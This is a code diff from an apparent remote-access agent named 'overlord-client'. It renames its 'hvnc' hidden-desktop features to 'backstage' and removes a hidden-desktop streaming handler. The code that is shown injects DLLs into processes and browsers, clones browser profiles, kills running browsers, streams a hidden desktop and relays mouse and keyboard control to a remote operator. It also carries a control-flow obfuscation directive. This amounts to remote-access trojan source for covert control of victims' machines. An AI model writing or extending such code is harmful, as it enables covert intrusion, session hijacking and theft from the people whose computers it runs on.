log.Printf("hvnc: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_process_injected", nil, func() {
if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
goSafe("backstage_start_process_injected", nil, func() {
if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
log.Printf("backstage: injected process failed for %q: %v", filePath, err)
}
})
return nil
case "hvnc_start_chrome_injected":
case "backstage_start_chrome_injected":
payload, _ := envelope["payload"].(map[string]interface{})
chromePath := ""
if payload != nil {
@@ -1974,17 +1974,17 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil
}
log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
log.Printf("backstage: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_chrome_injected", nil, func() {
if err := capture.StartHVNCChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
log.Printf("hvnc: chrome injected failed: %v", err)
goSafe("backstage_start_chrome_injected", nil, func() {
if err := capture.StartbackstageChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
log.Printf("backstage: chrome injected failed: %v", err)
}
})
return nil
case "hvnc_start_browser_injected":
case "backstage_start_browser_injected":
payload, _ := envelope["payload"].(map[string]interface{})
browser := ""
exePath := ""
@@ -2021,15 +2021,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no browser specified")
return nil
}
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_browser_injected", nil, func() {
goSafe("backstage_start_browser_injected", nil, func() {
var onProgress capture.CloneProgressFunc
if clone {
onProgress = func(percent int, copiedBytes, totalBytes int64, status string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCCloneProgress{
Type: "hvnc_clone_progress",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageCloneProgress{
Type: "backstage_clone_progress",
Browser: browser,
Percent: percent,
CopiedBytes: copiedBytes,
@@ -2039,24 +2039,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}
}
onDXGIStatus := func(success bool, gpuPID uint32, message string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCDXGIStatus{
Type: "hvnc_dxgi_status",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageDXGIStatus{
Type: "backstage_dxgi_status",
Success: success,
GPUPid: gpuPID,
Message: message,
})
}
onLaunchStatus := func(step string, success bool, detail string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{
Type: "hvnc_browser_launch_status",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserLaunchStatus{
Type: "backstage_browser_launch_status",
Browser: browser,
Step: step,
Success: success,
Detail: detail,
})
}
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
log.Printf("backstage: browser injected failed for %q: %v", browser, err)
}
})
return nil
@@ -2178,7 +2178,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil
case "virtual_request_keyframe":
log.Printf("hidden: request full frame")
capture.RequestHVNCFullFrame()
capture.RequestbackstageFullFrame()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "virtual_mouse_move":
@@ -2302,9 +2302,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
goSafe("virtual_window_list", nil, func() {
windows, monitors := capture.VirtualEnumWindows()
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
winEntries := make([]wire.BackstageWindowEntry, 0, len(windows))
for _, w := range windows {
winEntries = append(winEntries, wire.HVNCWindowEntry{
winEntries = append(winEntries, wire.BackstageWindowEntry{
Title: w.Title,
X: w.X,
Y: w.Y,
@@ -2315,9 +2315,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Monitor: w.Monitor,
})
}
monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
monEntries := make([]wire.BackstageMonitorEntry, 0, len(monitors))
for _, m := range monitors {
monEntries = append(monEntries, wire.HVNCMonitorEntry{
monEntries = append(monEntries, wire.BackstageMonitorEntry{
Index: m.Index,
Name: m.Name,
X: m.X,
@@ -2327,8 +2327,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Primary: m.Primary,
})
}
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
Type: "hvnc_window_list_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageWindowListResult{
Type: "backstage_window_list_result",
Windows: winEntries,
Monitors: monEntries,
})
@@ -71,8 +71,8 @@ func isInputCommand(cmdType string) bool {
switch cmdType {
case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel",
"desktop_key_down", "desktop_key_up", "desktop_text",
"hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up",
"hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up":
"backstage_mouse_move", "backstage_mouse_down", "backstage_mouse_up",
"backstage_mouse_wheel", "backstage_key_down", "backstage_key_up":
return true
}
return false
-129
View File
@@ -1,129 +0,0 @@
package handlers
import (
"context"
"log"
"overlord-client/cmd/agent/capture"
rt "overlord-client/cmd/agent/runtime"
"sync"
"sync/atomic"
"time"
)
var (
hvncPersistedDisplayValue int
hvncPersistedDisplayMu sync.Mutex
hvncTargetFPS atomic.Int64
)
func persistHVNCDisplaySelection(display int) {
hvncPersistedDisplayMu.Lock()
hvncPersistedDisplayValue = display
hvncPersistedDisplayMu.Unlock()
}
func GetPersistedHVNCDisplay() int {
hvncPersistedDisplayMu.Lock()
defer hvncPersistedDisplayMu.Unlock()
return hvncPersistedDisplayValue
}
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
fps := activeHVNCTargetFPS()
interval := time.Second / time.Duration(fps)
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
log.Printf("hvnc: starting stream (target fps %d)", fps)
if err := capture.InitializeHVNCDesktop(); err != nil {
log.Printf("hvnc: failed to initialize hidden desktop: %v", err)
return err
}
if autoStartExplorer {
goSafe("hvnc auto-start explorer", nil, func() {
if err := capture.HVNCAutoStartExplorer(); err != nil {
log.Printf("hvnc: auto-start explorer error: %v", err)
}
})
}
ticker := time.NewTicker(interval)
defer ticker.Stop()
currentFPS := fps
for {
select {
case <-ctx.Done():
log.Printf("hvnc: stopping stream")
capture.CleanupHVNCDesktop()
return nil
case <-ticker.C:
fps := activeHVNCTargetFPS()
if fps != currentFPS {
currentFPS = fps
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
ticker.Reset(time.Second / time.Duration(fps))
log.Printf("hvnc: target fps changed to %d", fps)
}
if err := capture.NowHVNC(ctx, env); err != nil {
if ctx.Err() != nil {
log.Printf("hvnc: stopping stream")
capture.CleanupHVNCDesktop()
return nil
}
log.Printf("hvnc: capture error: %v", err)
}
}
}
}
func activeHVNCTargetFPS() int {
if fps := int(hvncTargetFPS.Load()); fps > 0 {
return fps
}
_, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
return SetHVNCTargetFPS(fps)
}
func SetHVNCTargetFPS(fps int) int {
fps = clampDesktopTargetFPS(fps)
hvncTargetFPS.Store(int64(fps))
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
return fps
}
func HVNCSelect(ctx context.Context, env *rt.Env, display int) error {
prev := env.HVNCSelectedDisplay
maxDisplays := capture.HVNCMonitorCount()
if display < 0 || display >= maxDisplays {
log.Printf("hvnc: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
display = 0
}
env.HVNCSelectedDisplay = display
persistHVNCDisplaySelection(display)
log.Printf("hvnc: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
return nil
}
func HVNCMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.HVNCMouseControl = enabled
log.Printf("hvnc: mouse control %v", enabled)
return nil
}
func HVNCKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.HVNCKeyboardControl = enabled
log.Printf("hvnc: keyboard control %v", enabled)
return nil
}
func HVNCCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.HVNCCursorCapture = enabled
capture.SetHVNCCursorCapture(enabled)
log.Printf("hvnc: cursor capture %v", enabled)
return nil
}
@@ -1,10 +0,0 @@
//go:build !windows
package handlers
func setCursorPosHVNC(x, y int32) {}
func sendMouseDownHVNC(button int) {}
func sendMouseUpHVNC(button int) {}
func sendKeyDownHVNC(vk uint16) {}
func sendKeyUpHVNC(vk uint16) {}
func keyCodeToVKHVNC(code string) uint16 { return 0 }
@@ -417,7 +417,7 @@ type appWithIcon struct {
func getInstalledAppsWithIcons() []appWithIcon {
apps := enumerateInstalledApps()
log.Printf("hvnc: enumerated %d installed apps, extracting icons", len(apps))
log.Printf("backstage: enumerated %d installed apps, extracting icons", len(apps))
out := make([]appWithIcon, len(apps))
for i, app := range apps {
+6 -6
View File
@@ -25,8 +25,8 @@ func pcm16BytesToInt16(chunk []byte) []int16 {
func kindFromPayload(payload map[string]interface{}) webrtcpub.Kind {
switch s, _ := payload["kind"].(string); s {
case "hvnc":
return webrtcpub.KindHVNC
case "backstage":
return webrtcpub.Kindbackstage
case "webcam":
return webrtcpub.KindWebcam
case "audio":
@@ -81,8 +81,8 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa
// Force a fresh SPS/PPS/IDR so the freshly subscribed viewer can
// decode immediately instead of waiting for the next natural IDR.
if hasVideo {
if kind == webrtcpub.KindHVNC {
capture.ResetPrevHVNC()
if kind == webrtcpub.Kindbackstage {
capture.ResetPrevbackstage()
} else {
capture.ResetPrev()
}
@@ -142,8 +142,8 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p
return nil
}
if hasVideo {
if kind == webrtcpub.KindHVNC {
capture.ResetPrevHVNC()
if kind == webrtcpub.Kindbackstage {
capture.ResetPrevbackstage()
} else {
capture.ResetPrev()
}